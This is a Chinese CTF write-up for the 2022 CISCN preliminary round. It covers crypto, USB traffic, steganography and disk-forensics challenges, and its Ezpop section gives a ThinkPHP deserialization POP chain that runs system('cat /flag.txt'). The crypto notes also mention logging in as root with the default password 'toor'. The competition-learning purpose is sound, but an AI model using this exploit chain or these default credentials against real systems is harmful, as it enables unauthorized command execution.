文章目录

  • Crypto
    • 签到电台
    • 基于挑战码的双向认证1
    • 基于挑战码的双向认证2
    • 基于挑战码的双向认证3
  • Misc
    • ez_usb
    • everlasting_night
    • 问卷
    • babydisk
  • Web
    • Ezpop

Crypto

签到电台

签到,发送消息先,得到题目

“弼时安全到达了”所对应的7个电码:
1732 2514 1344 0356 0451 6671 0055

模十算法示例:1732与6378得到7000

发包示例:/send?msg=s

与密码本模10运算,得到2979481690868655519524457577

然后发包

基于挑战码的双向认证1

基于挑战码的双向认证2

和上次那个啥比赛一样的非预期,同样是i春秋的某场比赛,直接grep -r “flag{” /

就能找到flag

基于挑战码的双向认证3

不是 同上方法能出一个fake flag

我以为修了

半个小时? 又出来一坨人

这次是把web题放crypto吗(?

root密码toor(某些虚拟机就是这个密码),然后在老位置找到flag2.txt

Misc

ez_usb

很明显的键盘流量,但是直接导出是错误的,这里也能发现版本有2.8.1和2.10.1两种,因此猜测需要分别导出

导出2.8.1:tshark -r ez_usb.pcapng -T fields -e usbhid.data -Y "usb.device_address == 8"> 281.txt

导出2.10.1:tshark -r ez_usb.pcapng -T fields -e usbhid.data -Y "usb.device_address == 10"> 2101.txt
怪的是,直接导usb.src不行,甚至是字符串格式了也导不出来2.8.1和2.10.1,怪

键盘 网上的脚本

import os
# os.system("tshark -r test.pcapng -T fields -e usb.capdata > usbdata.txt")
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}nums = []
keys = open('281.txt')
for line in keys:if len(line)!=17: #首先过滤掉鼠标等其他设备的USB流量continuenums.append(line[0:2]+line[4:6]) #取一、三字节
keys.close()
output = ""
for n in nums:if n[2:4] == "00" :continueif n[2:4] in normalKeys:if n[0:2]=="02": #表示按下了shiftoutput += shiftKeys [n[2:4]]else :output += normalKeys [n[2:4]]else:output += '[unknown]'
print('output :n' + output)

一个压缩包(需要删掉del前面的c和最后的e),一个密码35c535765e50074a,解压得到flag

everlasting_night

A2通道有个密码

根据rgb0通道都有LSB,但是解不出来,而且有个密码,猜测是ichunqiu最喜欢的cloacked-pixel

通过lsb.py,解出一个压缩包。

其次,在最开头的png的文件尾,有16字节的额外数据,通过异或,爆破都无法解出,然后尝试md5发现能解出来(cmd5甚至不能解)

5语

然后解出来是个png,但是zlib过后全是00然后再是某个data,而且后面不像经过zlib压缩或者哈夫曼的,再结合bmp头部正好到data,直接锁定bmp,用QQ截图生成一张新的bmp图然后替换过去,把位深改成24之后爆破宽度

在宽度为352的时候爆破出来

爆破的脚本用祖传,一共400多行(很多都可以爆),下面只给出bmp部分

def crackbmp():bmph=fr[22:26]print(type(bmph))print(bmph)k=int.from_bytes(bmph,'little',signed=True)print(k)if k<0:headdata = bytearray(fr[0:18])widthdata = bytearray(fr[18:22])heightdata = bytearray(fr[22:26])remaindata = bytearray(fr[26::])# n = 2000h1 = -h#h=h&0xffffffffprint (h1)path=os.getcwd()tmppath=path+'\\tmpbmpnormal'print(tmppath)if os.path.exists(tmppath):os.chdir(tmppath)else:os.mkdir(tmppath)os.chdir(tmppath)heightdata=h1.to_bytes(4, 'little',signed=True)for w in range(1,n): widthdata=w.to_bytes(4, 'little')newfile=headdata+widthdata+heightdata+remaindatafw = open(str(w)+'.bmp','wb') fw.write(newfile) fw.close else:headdata = bytearray(fr[0:18])widthdata = bytearray(fr[18:22])heightdata = bytearray(fr[22:26])remaindata = bytearray(fr[26::])# n = 2000# h = 300path=os.getcwd()tmppath=path+'\\tmpbmpreverse'print(tmppath)if os.path.exists(tmppath):os.chdir(tmppath)else:os.mkdir(tmppath)os.chdir(tmppath)heightdata=h.to_bytes(4, 'little',signed=True)for w in range(1,n): widthdata=w.to_bytes(4, 'little')#   print (widthdata)newfile=headdata+widthdata+heightdata+remaindatafw = open(str(w)+'.bmp','wb') fw.write(newfile) fw.close

问卷

babydisk

首先是一个wav,然后在恢复的时候能看到回收站有一个文件,经过测试,wav是deepsound

得到密码feedback,然后deepsound去解

key:e575ac894c385a6f

好,接下来是那个没有名字的文件,这里在取证的时候放取证大师

很好,是加密的文件,测试后发现是veracrypt,得到一个zip,但是很怪,诶翻译一下zip的名字发现是螺旋

看了一下字节大小

很好,我很欣赏

网上找个python的算法

https://blog.csdn.net/GW_wg/article/details/120406192

def function(n):matrix = [[0] * n for _ in range(n)]number = 1left, right, up, down = 0, n - 1, 0, n - 1while left < right and up < down:# 从左到右for i in range(left, right):matrix[up][i] = numbernumber += 1# 从上到下for i in range(up, down):matrix[i][right] = numbernumber += 1# 从右向左for i in range(right, left, -1):matrix[down][i] = numbernumber += 1for i in range(down, up, -1):matrix[i][left] = numbernumber += 1left += 1right -= 1up += 1down -= 1# n 为奇数的时候,正方形中间会有个单独的空格需要单独填充if n % 2 != 0:matrix[n // 2][n // 2] = numberreturn matrix

很好,然后会输出螺旋的顺序,直接调用拼起来就行了,完整如下

def function(n):matrix = [[0] * n for _ in range(n)]number = 1left, right, up, down = 0, n - 1, 0, n - 1while left < right and up < down:# 从左到右for i in range(left, right):matrix[up][i] = numbernumber += 1# 从上到下for i in range(up, down):matrix[i][right] = numbernumber += 1# 从右向左for i in range(right, left, -1):matrix[down][i] = numbernumber += 1for i in range(down, up, -1):matrix[i][left] = numbernumber += 1left += 1right -= 1up += 1down -= 1# n 为奇数的时候,正方形中间会有个单独的空格需要单独填充if n % 2 != 0:matrix[n // 2][n // 2] = numberreturn matrixf = open('spiral.zip','rb').read()
s = function(87)
# print(s)
s = sum(s,[])
#print(s)f1 = open('fla.zip','wb')
arr = [0]*7569
# print(arr)
for i in range(len(s)):arr[i] = f[s[i]-1]
#print(arr)
# print(arr)
for i in arr:print(hex(i)[2:].zfill(2),end='')

然后notepad++转换一下hex

长度49,很好,接着螺旋

很好,很欣赏->flag{701fa9fe-63f5-410b-93d4-119f96965be6}

Web

Ezpop

www.zip下载源码,控制器中存在反序列化

https://www.freebuf.com/vuls/321546.html

构造链子

<?php
namespace think{abstract class Model{private $lazySave = false;private $data = [];private $exists = false;protected $table;private $withAttr = [];protected $json = [];protected $jsonAssoc = false;function __construct($obj = ''){$this->lazySave = True;$this->data = ['whoami' => ['cat /flag.txt']];$this->exists = True;$this->table = $obj;$this->withAttr = ['whoami' => ['system']];$this->json = ['whoami',['whoami']];$this->jsonAssoc = True;}}
}
namespace think\model{use think\Model;class Pivot extends Model{}
}namespace{echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

然后 cyber解一下base在urlencode,直接这里urlencode我没成功…

第15届全国大学生知识竞赛场景实操 2022ciscn初赛 部分writeup相关推荐

  1. 第15届全国大学生知识竞赛场景实操 2022ciscn线上初赛 部分writeup

    文章目录 ez_usb everlasting_night 问卷调查 签到电台 Ezpop **基于挑战码的双向认证1.2** 基于挑战码的双向认证3 Iso9798 Login-nomal Baby ...

  2. 第15届全国大学生知识竞赛 2022ciscn初赛 部分wp

    Misc ez_usb 1.键盘流量 USB协议数据部分在Leftover Capture Data域中,数据长度为八个字节.其中键盘击键信息集中在第三个字节中. 如图,发现击键信息为0x06,即对应 ...

  3. 赛宁首创革新赛制助力人才培养 | 第十六届全国大学生信息安全竞赛-创新实践能力赛全面启动!

    ​​为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,实现以赛促学.以赛促教.以赛促用,推动网络空间安全人才培养和产学研用生态发展,由国防科技大学与中国科学技术大学联合承办的第十六届全 ...

  4. 第十四届全国大学生数学竞赛的通知

    竞赛信息    可以辅导,无需基础 各省.市.自治区数学会.军队院校数学教学联席会: 为了激励大学生学习数学的兴趣,培养他们分析问题.解决问题的能力,提升我国高等学校人才培养质量,促进高等学校数学课程 ...

  5. 第十三届全国大学生信息安全竞赛(线上初赛)

    第十三届全国大学生信息安全竞赛(线上初赛) 干啥啥不行,混子第一名,全靠躺,,,,,队友带飞! WEB easyphp 打开题目拿到源码: 根据题目的描述,让进程异常退出,进入到phpinfo中 pa ...

  6. 2021年 第13届 全国大学生数学竞赛 初赛(非数学类)试题详细解答

    [2020年第12届全国大学生数学竞赛--资源分享 ][1~11届省赛决赛考题及题解(数学类.非数学类).推荐学习网址.复习备考书籍推荐] 2019年 第11届 全国大学生数学竞赛 初赛(非数学类)试 ...

  7. 2014 年第六届全国大学生数学竞赛江西赛区赣南师范学院获奖名单(数学专业)

    2014 年第六届全国大学生数学竞赛江西赛区赣南师范学院获奖名单(数学专业) 姓名 性别 学校 所学专业 类别 获奖等级 李秀芹 女 赣南师范学院 数学与应用数学 数学专业 一等奖 杨启明 男 赣南师 ...

  8. 2022年第十四届全国大学生数学竞赛

    11.12非延迟地区开赛啦,小编为大家整理了2022年第十四届全国大学生数学竞赛真题加标答 希望帮到大 家   大学竞赛君自做答案90+,延迟地区的小伙伴也可以辅导

  9. 2019年 第11届 全国大学生数学竞赛 初赛(非数学类)试题详细解答

    [2020年第12届全国大学生数学竞赛--资源分享 ][1~11届省赛.决赛考题及题解(数学类.非数学类).推荐学习网址.复习备考书籍推荐]https://blog.csdn.net/weixin_4 ...

最新文章

  1. 微信三方授权域名问题
  2. Python编程基础:第五十三节 匿名函数Lambda Function
  3. PMCAFF高端俱乐部首次集结,最顶级产品人的私密俱乐部!
  4. QT学习:多国语言国际化
  5. spring序列化_使用@JsonIdentityInfo的Spring自定义序列化器
  6. 乾坤大挪移,巧迁数据到proxmox平台
  7. TP5 急速上手 语法规则
  8. 西门子滚筒洗衣机教程_西门子洗衣机怎么样 西门子洗衣机哪款好
  9. C语言中的一些基本函数说明及使用
  10. java jvm理解_深入理解JVM(一)——基本原理
  11. 获取微信公众号用户的openid
  12. FCFS,SSTF,SCAN,FIFO,LRO
  13. 【转】全球十部最经典的科幻片,你看过几部?
  14. vue slideup_像jQuery的slideUp / slideDown一样,但是对于Vue
  15. python日常实用小脚本-Python实现自动挂机脚本 | 沐雨浥尘
  16. 爱上收纳的花艺师:热爱生活,就能被生活治愈
  17. 项目管理学习总结(15)——技术负责人所需的四个核心能力
  18. 看完电视剧“天道“的第一次感想记录
  19. 5GNR漫谈8:CSI-RS/TRS/SRS参考信号
  20. 若可以通过高速计算机应用牛顿定律,计算机硬件及网络02_牛顿运动三定律ppt课件...

热门文章

  1. 号码标记查询 php,你的手机号码有没有被标记?这个网站可以查询
  2. 力扣119杨辉三角 II:代码实现 + 方法总结(数学规律法 记忆法/备忘录)
  3. Java堆是什么意思?Java堆具有哪些好处?
  4. 炎炎夏日宝宝发烧怎么办?
  5. 介绍上架一个iOS APP需要多少钱
  6. 云顶之奕S2上线了,用爬虫分析云顶之奕两个赛季都未曾登场的牌
  7. latex公式实现居中,多行公式同一个编号
  8. 使用国密2(SM2)前后端传输加密
  9. 人工智能数学要求有多高,别走弯路了
  10. 防京东淘宝商城网站------1.基本框架搭建及讲解